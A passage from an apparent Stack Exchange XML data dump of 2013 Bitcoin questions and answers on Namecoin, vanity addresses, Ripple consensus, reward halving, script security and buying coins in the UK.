service&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Privacy is not a priority for the current implementation right now, but there's plans to improve it through obfuscation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ledger could even act as the &quot;register&quot; for &quot;hidden transactions&quot; more similar in properties to the ones of the old 2pc protocol. So it may be more convenient to extend or modify the current protocol than to implement the old one.&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="192" LastEditDate="2013-03-11T20:05:49.600" LastActivityDate="2013-03-11T20:05:49.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7647" PostTypeId="1" AcceptedAnswerId="7648" CreationDate="2013-02-14T02:42:03.987" Score="1" ViewCount="1095" Body="&lt;p&gt;I know a bit about &quot;low level&quot; of bitcoin (transactions, blockchaon, script, network instructions...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to read something about namecoin and all the online sources are very vague.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have a question: how does namecoin work on the &quot;low level&quot;? how does it actually save the &quot;domain&quot;? how does it expire it? how can I move the domain to someone else? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it does it somehow by key value pairs stored in blockchain somehow - where exactly?&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2013-02-14T14:28:59.450" Title="How exactly does namecoin work on &quot;low&quot; level?" Tags="|namecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7648" PostTypeId="2" ParentId="7647" CreationDate="2013-02-14T05:41:07.747" Score="2" Body="&lt;p&gt;I'm not an expert on Namecoin, but from what I understand, Namecoin works by introducing a few new types of transactions to the Bitcoin formula used for handling domain registration. After that you just need some mechanism of extracting the domain names from the blockchain and that should be enough for Namecoin to work.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-14T05:41:07.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7649" PostTypeId="1" AcceptedAnswerId="7653" CreationDate="2013-02-14T09:36:15.100" Score="5" ViewCount="746" Body="&lt;p&gt;Is it easy to find out related vanity address '&lt;strong&gt;1googlex&lt;/strong&gt;' if we already know '&lt;strong&gt;1google&lt;/strong&gt;' vanity address pair, than through usual vanitygen iteration process? if yes, can this be extended further, like, '&lt;strong&gt;1googlexx&lt;/strong&gt;', without exponentially increasing difficulty?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-02-14T12:32:15.127" Title="How easy is finding related vanity addresses?" Tags="|vanity-address|vanitygen|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7650" PostTypeId="1" AcceptedAnswerId="7672" CreationDate="2013-02-14T10:27:13.087" Score="6" ViewCount="419" Body="&lt;p&gt;I'm under the impression that Ripple uses a consensus based system in order to determine which of two payments is the authoritative one, with the other getting rejected due to a lack of proponents. This form of decision making appears to be prone to a sock-puppet attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be possible for someone to create a high value spend in one store and then negate it through a carefully timed sock-puppet attack such that the original   spend is outvoted by a lesser value payment that has vastly more (fake) backing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, how are resources consumed during the consensus process?&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="3364" LastEditDate="2014-05-12T13:18:58.807" LastActivityDate="2014-05-12T13:18:58.807" Title="How does Ripple solve the sock-puppet problem during consensus?" Tags="|security|ripple|consensus|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7651" PostTypeId="2" ParentId="7649" CreationDate="2013-02-14T11:14:20.487" Score="4" Body="&lt;p&gt;Zero. They are completely unrelated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you think about that, it is quite obvious... otherwise it would be very easy to steal known addresses: you would just have to find a similar one.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-02-14T11:29:47.773" LastActivityDate="2013-02-14T11:29:47.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7652" PostTypeId="2" ParentId="7650" CreationDate="2013-02-14T12:27:51.177" Score="3" Body="&lt;p&gt;A key point in Ripple is that the consensus doesn't take everyone's opinions into account. Each user has a list of trusted nodes. It will not do much good for an attacker to create multiple anonymous, untrusted sockpuppet accounts.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-02-14T12:27:51.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7653" PostTypeId="2" ParentId="7649" CreationDate="2013-02-14T12:32:15.127" Score="3" Body="&lt;p&gt;Finding a vanity address is a random process. Even if we find an address with N letters we are interested in, it does not change anything about finding an address of N+1 letters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding an additional letter in a vanity address pattern requires on average performing 58 times as many calculations as it took to find the original length.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-14T12:32:15.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7654" PostTypeId="1" AcceptedAnswerId="7656" CreationDate="2013-02-14T13:54:12.983" Score="2" ViewCount="341" Body="&lt;p&gt;This is quite a basic question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namecoin allows any arbitrary text as data:value pairs. How big can the data be? 100 bytes? 1 MB? I am not sure.&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2013-02-14T14:22:38.050" Title="What is the size limit in namecoin transaction?" Tags="|transactions|namecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7655" PostTypeId="1" AcceptedAnswerId="7658" CreationDate="2013-02-14T14:04:40.727" Score="7" ViewCount="384" Body="&lt;p&gt;What is the reasons for halving the rewards?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not, for example, let the reward be always the same and the amount of currency always growing? Are the reasons technical or just purely ideological?&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2019-02-12T23:50:55.230" Title="What is the reason for halving the rewards?" Tags="|mining-reward|reward-schedule|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7656" PostTypeId="2" ParentId="7654" CreationDate="2013-02-14T14:22:38.050" Score="3" Body="&lt;p&gt;520 bytes for name_update to work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dot-bit.org/forum/viewtopic.php?f=2&amp;amp;t=503&quot; rel=&quot;nofollow&quot;&gt;http://dot-bit.org/forum/viewtopic.php?f=2&amp;amp;t=503&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be twice that amount but there is some bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can read in the forum thread some planning is going on to increase it to 9kb. &lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-02-14T14:22:38.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7657" PostTypeId="2" ParentId="1471" CreationDate="2013-02-14T14:24:28.597" Score="1" Body="&lt;p&gt;also: &lt;a href=&quot;http://nx.bit&quot; rel=&quot;nofollow&quot;&gt;http://nx.bit&lt;/a&gt; ( &lt;a href=&quot;http://blockchained.com/namecoin&quot; rel=&quot;nofollow&quot;&gt;http://blockchained.com/namecoin&lt;/a&gt; )&#xA;including a curve of the number of names&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-02-14T14:24:28.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7658" PostTypeId="2" ParentId="7655" CreationDate="2013-02-14T14:25:11.693" Score="10" Body="&lt;p&gt;Because the block halving incentives getting into Bitcoin NOW, rather than later. Early birds take more risks and get more rewards. Otherwise the network would have problems getting enough miners involved in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Asides that, there is a concept of inflation and deflation - we have already experienced the first one, so we might as well try the latter one.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-14T14:25:11.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7659" PostTypeId="2" ParentId="7647" CreationDate="2013-02-14T14:28:59.450" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/vinced/namecoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/vinced/namecoin&lt;/a&gt;&#xA;There is some info in the readme and here: &lt;a href=&quot;https://github.com/vinced/namecoin/blob/master/DESIGN-namecoin.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/vinced/namecoin/blob/master/DESIGN-namecoin.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-02-14T14:28:59.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7660" PostTypeId="1" CreationDate="2013-02-14T14:37:44.670" Score="2" ViewCount="342" Body="&lt;p&gt;I was on a site &lt;a href=&quot;http://www.realgg.nl&quot; rel=&quot;nofollow&quot;&gt;www.realgg.nl&lt;/a&gt; last night, they have some attractive funding options for me because I live in UK it's difficult to get coins. (Well a lot more difficult than US). Just wondering if anyone knows whether it's legit.&lt;/p&gt;&#xA;" OwnerUserId="2909" LastEditorUserId="132" LastEditDate="2013-02-14T16:36:10.933" LastActivityDate="2013-11-29T16:47:11.180" Title="Is the realgg.nl exchange legit?" Tags="|exchanges|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7661" PostTypeId="1" AcceptedAnswerId="7664" CreationDate="2013-02-14T14:45:07.227" Score="1" ViewCount="357" Body="&lt;p&gt;Why does Bitcoin have a complicated scripting system?&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/script.cpp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess because it makes fancy contracts possible: &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Contracts&lt;/a&gt; Could even be kinds of contracts that we would never think about today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, from what I understand currently there are only a handful of scripts in popular use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it not be wise to restrict the scripting engine to a limited number of well understood scripts? It seems like an invitation for trouble. New scripts could be added over time.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-02-14T22:13:21.423" Title="Is the scripting system an incalculable security risk?" Tags="|security|script|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7662" PostTypeId="1" CreationDate="2013-02-14T15:28:26.483" Score="4" ViewCount="1190" Body="&lt;p&gt;It is getting ridiculously hard to get bitcoins in the U.K. International wires are to expensive, my bank doesn't support SEPA. I'm seriously thinking about converting ukash vouchers to cash u account, funding okpay with that. Then using that option at mtgox. There must be easier way.&lt;/p&gt;&#xA;" OwnerUserId="2909" LastEditorUserId="132" LastEditDate="2013-02-14T16:26:50.273" LastActivityDate="2013-04-13T02:17:45.607" Title="I'm in the UK, how to fund my account at mtgox?" Tags="|exchanges|mtgox|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7663" PostTypeId="2" ParentId="7655" CreationDate="2013-02-14T15:59:37.593" Score="1" Body="&lt;p&gt;Technically, constant rewards, halving rewards… doubling rewards, or any other fluctuation that depends only on the current blockchain state, all are feasible. (Halving rewards guaranties a bound on the total amount of bitcoins in circulation, which helps in avoiding overflows, but this is an extremely minor point that could be overcome very easily.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rewards have two unrelated repercussions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;They incentivize mining. This basically means buying hashpower for the network. More rewards means a more secure network, but also more waste in electricity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They continuously inject new currency shares. This means that, in the long term, all bitcoin holders (not only transactors) pay a fee for the sustained service offered by the network. (In the same way governments, or nowadays banks, collect an inflation “fee” with traditional currencies : with inflation government or bank debts are being forgotten over time.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;First of all, it's unclear as to what amount of hashpower guaraties securrity without being wasted. To make things more difficult, the amount of hashpower that corresponds to a given reward depends on the trade value of the currency. So, Satoshi took a wild guess and he decided halving rewards (every four years) would somehow be satisfactory for the early days of bitcoins. There is no reason for this to remain true in the future. If it was not satisfactory any more, be assured that either Bitcoin workings will change or that another currency with adjusted parameters will quickly be born.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you may realize that Bitcoin only provides one degree of liberty. Rewards must be adjusted to network-maintenance costs, so they cannot be used to influence inflation without being stupidly wasted. This is because Bitcoin does not come with a global community-shared fund (like government or bank reserves) that could receive newly minted money or be cleared from “old debts”. In fact, no ideological choice had to be made, except for the choice not to add such a thing in Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2013-02-14T16:21:00.110" LastActivityDate="2013-02-14T16:21:00.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7664" PostTypeId="2" ParentId="7661" CreationDate="2013-02-14T16:04:25.300" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;New scripts could be added over time.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And how would you do that (without breaking old clients / getting all bitcoin clients to work the same way with the same scripts / etc) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the script language will let bitcoin evolve, without having to make any (fundamental) changes to the protocol. It's a futurewise smart decision (just like bitcoin has some protection against quantum computers, even though they ain't &quot;dangerous&quot; yet - and might never be). IMO it's one of the thing that make bitcoin 'better than the rest'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ofc having a less complex script language would minimize any potential attack vector, but I think the complexity of the language already is low enough for it not to be of any concern. At most we will probably see DoS attack (e.g. transactions which loops endless), but this should be easily fixable with an update (and the currently client already have lots of &quot;anti-DoS&quot; checks, to protect against this).&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-02-14T16:04:25.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7665" PostTypeId="2" ParentId="7662" CreationDate="2013-02-14T16:24:39.863" Score="2" Body="&lt;p&gt;I did a bank account thing with Blockchain.info. Assuming you have a UK bank account you shouldn't have a problem.&lt;/p&gt;&#xA;" OwnerUserId="2793" LastActivityDate="2013-02-14T16:24:39.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7667" PostTypeId="1" AcceptedAnswerId="7668" CreationDate="2013-02-14T19:44:41.293" Score="6" ViewCount="8998" Body="&lt;p&gt;Say I have an online store that accepts bitcoins and want people to be able to contact me through my wallet, because that is ultimately the entity involved in an hypothetical trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can that be done? how?&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2021-03-09T01:51:20.650" Title="Is it possible to send a message to a bitcoin address? how?" Tags="|address|message|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7668" PostTypeId="2" ParentId="7667" CreationDate="2013-02-14T20:00:38.340" Score="4" Body="&lt;p&gt;Not in any way that is intended by the protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you mean by &quot;ultimately the entity involved in a hypothetical trade&quot;? It's just a hash of a public key, the corresponding private key to which you hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is preventing you from having a contact form or e-mail address in the online store?&lt;/p&gt;&#xA;" OwnerUserId="1349" LastActivityDate="2013-02-14T20:00:38.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7669" PostTypeId="2" ParentId="7661" CreationDate="2013-02-14T22:13:21.423" Score="1" Body="&lt;p&gt;Early on in bitcoin history, there was a proposal that scripting be replaced by a single transaction type field. This never came to pass, because it has three important problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you want to use a new transaction type, old clients will not have any idea of how to validate it.&lt;/li&gt;&#xA;&lt;li&gt;Everyone needs to agree on new transaction types. If I say 0x03 ought to be used for multisigature transactions, and you say it ought to be used for longer hashes of public keys, then that's a problem.&lt;/li&gt;&#xA;&lt;li&gt;Let's say that RIPEMD-160 becomes unsuitable for bitcoin addresses for whatever reason. In that case, we can make a new type of address, which only new clients will be able to spend to. However, there is no need to change any of the miners, because they will still understand the new scripts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-02-14T22:13:21.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7670" PostTypeId="2" ParentId="7667" CreationDate="2013-02-14T22:51:10.993" Score="3" Body="&lt;p&gt;Bitcoin transactions - at least the part that ends up on the block chain - should only contain whatever is necessary for the world to validate them. Anything else is pushing extra costs (bandwidth, storage) to everyone who wants to run a full node, and isn't necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, that doesn't mean that payments (as in: the full operation that takes places between to trading entities) need to be restricted to just the low-level transaction that ends up on the block chain. The proposed payment protocol (see &lt;a href=&quot;https://gist.github.com/gavinandresen/4120476&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/gavinandresen/4120476&lt;/a&gt;) provides a solution to this: transactions take place directly between two entities (and may involve exchanging messages, order ids, refund addresses, ...), and results in a negotiated transaction which can be broadcast on the P2P network.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-02-14T22:51:10.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7672" PostTypeId="2" ParentId="7650" CreationDate="2013-02-15T00:46:21.927" Score="2" Body="&lt;p&gt;How would such an attack work? Presumably, there would have to be a first consensus that agreed on one transaction and then a later consensus that agrees on the other transaction. Otherwise, nobody would rely on the first transaction having been accepted and there would be no attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what do they do about that first consensus? If they participate in it, they've now validated &lt;em&gt;both&lt;/em&gt; transactions. Everyone would have absolute proof they were liars, so nobody would care that they validated the second one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they don't participate in it, then everyone would have absolute proof that they validated a transaction that conflicted with a transaction that was previously accepted. Again, everyone would have absolute proof they were liars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you're thinking they might try to go back and claim that the first consensus actually went down a different way than it actually went down, presenting a conflicting view of the past. The problem is, information about the past is not established by looking at what consensus we had in the past. Information about the past is established by looking at the present consensus and walking hash chains to see what happened in the past. Lying about the past won't help you change the consensus about where everyone is now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, consensus is only used to establish an ordering of transactions via a series of checkpoints. There's no way to say &quot;move that transaction back so that it occurred in the past&quot;. Once validated, the past is immutable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do with an attack like this is prevent the network from reaching consensus. However, you'd have to do it by behaving clearly irrationally, announcing positions that don't make progress towards a consensus. As soon as people discovered you doing this, they'd stop letting you participate in the consensus process and you'd have to build trust all over again.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-15T08:56:17.687" LastActivityDate="2013-02-15T08:56:17.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7673" PostTypeId="1" AcceptedAnswerId="7674" CreationDate="2013-02-15T02:20:14.640" Score="6" ViewCount="602" Body="&lt;p&gt;Bitcoins are hard to mine now. I've always wanted to actually earn them, but never actually gotten much of anything. I want to create my own blockchain, separate from any other networks, so that mining will be faster and I'll actually be able to experience the thrill of mining bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will someone give me a suggestion, program link, or what have you re: a private network? I just want to try it. Not a spendable coin fork, just something that I can enjoy watching for a bit.&lt;/p&gt;&#xA;" OwnerUserId="2915" LastEditorUserId="5406" LastEditDate="2016-03-10T14:52:48.153" LastActivityDate="2017-07-13T23:29:07.983" Title="How to experience the thrill of mining?" Tags="|blockchain|alternatives|testnet|cpu-mining|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7674" PostTypeId="2" ParentId="7673" CreationDate="2013-02-15T02:39:21.067" Score="10" Body="&lt;p&gt;Have you tried understanding why you have that desire? It might help you understand more about what makes you tick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might like to try &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1746/how-can-i-participate-in-a-mining-pool-that-is-mining-litecoins&quot;&gt;mining Litecoins&lt;/a&gt;, or even on the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5770/516&quot;&gt;Bitcoin Testnet&lt;/a&gt;. Or, you could try some Bitcoin mining with the &lt;a href=&quot;https://en.bitcoin.it/wiki/Eligius&quot; rel=&quot;nofollow noreferrer&quot;&gt;Eligius&lt;/a&gt; pool, which from memory will pay out any amount after 2 weeks (whereas most pools have a minimum payout). If you can manage to mine 0.01BTC, that is enough to make a transaction from most eWallets (again, they often have a minimum transaction, usually 0.01BTC), and you could possibly even buy something from coindl.com with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you might get more satisfaction by playing &lt;a href=&quot;https://minecraft.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Minecraft&lt;/a&gt; (it has a free trial), which can give the same sense of satisfaction when  you find something of &quot;value&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option to consider is earning some dollars, or whatever your local currency is, and exchanging it for bitcoins. Or even just save some dollars on electricity by not mining, and exchange those for bitcoins. Or, sell something on &lt;a href=&quot;http://www.bitmit.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitmit&lt;/a&gt; maybe?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-02-15T02:52:44.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7675" PostTypeId="2" ParentId="7673" CreationDate="2013-02-15T02:42:46.533" Score="5" Body="&lt;p&gt;You can always try the testnet it is really easy to mine on it since difficulty gets reseted to difficulty one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just start your bitcoin client with the -testnet parameter (and -gen if you want to CPU mine)&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-02-15T02:42:46.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7676" PostTypeId="1" AcceptedAnswerId="7687" CreationDate="2013-02-15T04:08:17.773" Score="4" ViewCount="4253" Body="&lt;p&gt;With no random number seed specified, assuming all vanitygen runs start with specific chunk for iteration, what are the possibilities of two different vanitygen runs to end up with the same address - private key pair?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-10-18T00:36:06.300" Title="what are the chances of vanitygen address - private key pair collision?" Tags="|vanity-address|vanitygen|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7677" PostTypeId="1" CreationDate="2013-02-15T05:12:54.310" Score="3" ViewCount="222" Body="&lt;p&gt;If I want to automatically check up on payments and ensure they are not double spends and check the confirmation count, what is the easiest way to do so?&lt;/p&gt;&#xA;" OwnerUserId="2813" LastActivityDate="2013-02-15T12:51:14.710" Title="What is the easiest way to &quot;listen&quot; to the network?" Tags="|transactions|blockchain|security|network|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7678" PostTypeId="1" CreationDate="2013-02-15T05:19:27.400" Score="5" ViewCount="1938" Body="&lt;p&gt;I have read and researched extensively on bitcoin, but I haven't found any service like coinbase that allows a user to buy or sell bitcoins online without having a US bank account. So how can one start an exchange like coinbase for India ? What are the legal obligations and initial startup cost ? Any advise would be welcome. &lt;/p&gt;&#xA;" OwnerUserId="2916" LastEditorUserId="196" LastEditDate="2013-02-15T09:14:36.267" LastActivityDate="2013-03-12T05:09:55.437" Title="Setting up a coinbase like service in India , need suggestions" Tags="|exchanges|legal|banks|india|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7679" PostTypeId="1" AcceptedAnswerId="7681" CreationDate="2013-02-15T05:51:09.747" Score="6" ViewCount="2721" Body="&lt;p&gt;I really believed in the idea behind Bitcoins from the start, and because I was an early adopter, I made some nice profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I forecast a big future for Ripple too, but I don't see many ways to turn this into profit. I can start hoarding loads of XRP, but it doesn't seem likely they will become valuable in the future, because as soon as they do, transaction fees will be lowered. Another option is to start a new gateway, and because they're pretty scarce now, it may become one of the popular ones in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way I can profit as an early adopter?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="575" LastEditDate="2013-02-15T09:28:58.040" LastActivityDate="2013-02-15T09:28:58.040" Title="Does Ripple give an advantage to early adopters?" Tags="|ripple|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7680" PostTypeId="2" ParentId="7676" CreationDate="2013-02-15T07:22:31.827" Score="2" Body="&lt;p&gt;If two or more people choose the same, non-random seed while looking for vanity address with the same pattern, they will end up with the same private key. This would happen due to them either iterating to the same private key from the seed, or by ending up with the same private key by using the given language's version of rand() function with identical seeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if one was to chose a random seed, here are the probabilities of accidentally ending up with the same keypair / address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To obtain the same &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;address&lt;/a&gt;, the result of RIPEMD-160 hashing would need to be the same. Probability of that happening is 1 in 2^160.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To obtain the same private key, it is a probability of 1 in &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow&quot;&gt;n&lt;/a&gt;, where n is the order of &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow&quot;&gt;secp256k1&lt;/a&gt; and equal to FFFFFFFF FFFFFFFF FFFFFFFF FFFFFFFE BAAEDCE6 AF48A03B BFD25E8C D0364141, or about 2^256.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2013-02-15T09:11:12.140" LastActivityDate="2013-02-15T09:11:12.140" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7681" PostTypeId="2" ParentId="7679" CreationDate="2013-02-15T09:16:20.543" Score="4" Body="&lt;p&gt;Advantages to being an early Ripple adopter:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Being able to get a lot of free ripples during their first distribution&lt;/li&gt;&#xA;&lt;li&gt;Being able to establish oneself as a reliable and reputable Gateway that will be a go-to place for everyone&lt;/li&gt;&#xA;&lt;li&gt;Establishing oneself as the first business to do something with Ripple - be it selling something or offering some services. Other early adopters would be then inclined to spend their ripples on your service just for the sake of using the system&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Generally, there is not that vast of an advantage for being an early Ripple adopter as compared to using Bitcoin. That doesn't mean, however, that the advantages are not there.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-15T09:16:20.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7682" PostTypeId="1" AcceptedAnswerId="7712" CreationDate="2013-02-15T10:34:31.873" Score="10" ViewCount="3188" Body="&lt;p&gt;I have been watching the Open Transactions project. Since Ripple has recently came up I am curious as to their relation to each other and if they are trying to achieve the same thing but with a different framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first glance they do appear to be doing the same thing (I think) but what are the differences?&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-21T10:56:49.183" Title="What is the different between Open Transactions and Ripple?" Tags="|ripple|open-transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7683" PostTypeId="1" AcceptedAnswerId="7685" CreationDate="2013-02-15T10:59:54.130" Score="6" ViewCount="3831" Body="&lt;p&gt;This is my first bitcoin &lt;a href=&quot;http://blockexplorer.com/address/1vijay5EABPWSUM3W2SD8KbHWbvHPiBJq&quot; rel=&quot;noreferrer&quot;&gt;transaction&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this transaction doesn't show my public key? help message on the same page says that, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It's impossible to determine the public key from a Bitcoin address,&#xA;  but if the public key was ever used on the network, it is listed here.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was thinking that my address is public key. Is it really impossible to derive public key from address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;other details, blockchain.info &lt;a href=&quot;https://blockchain.info/tx/9cc71cb35356094a6a555ea78f3d206e2ce0cead7721c05bcfff2d5cdbbb2a96&quot; rel=&quot;noreferrer&quot;&gt;transaction&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://blockchain.info/address/1vijay5EABPWSUM3W2SD8KbHWbvHPiBJq&quot; rel=&quot;noreferrer&quot;&gt;address&lt;/a&gt; details.&lt;/p&gt;&#xA;" OwnerUserId="2229" 